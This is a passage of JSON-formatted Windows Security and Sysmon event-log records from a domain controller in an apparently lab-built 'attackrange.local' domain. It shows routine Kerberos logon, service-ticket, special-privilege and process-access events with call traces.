logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3aec2","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49703","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221566,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{782E8E6A-83BA-E0EA-C75F-90E759000376}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{782E8E6A-83BA-E0EA-C75F-90E759000376}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221567,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B55E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3b55e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221568,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3B55E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49704\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3b55e","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49704","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.390\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.390","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.390\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001022180200}\r\nTargetProcessId: 2636\r\nTargetImage: C:\\Windows\\system32\\dfssvc.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.390","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001022180200}","TargetProcessId":"2636","TargetImage":"C:\\Windows\\system32\\dfssvc.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 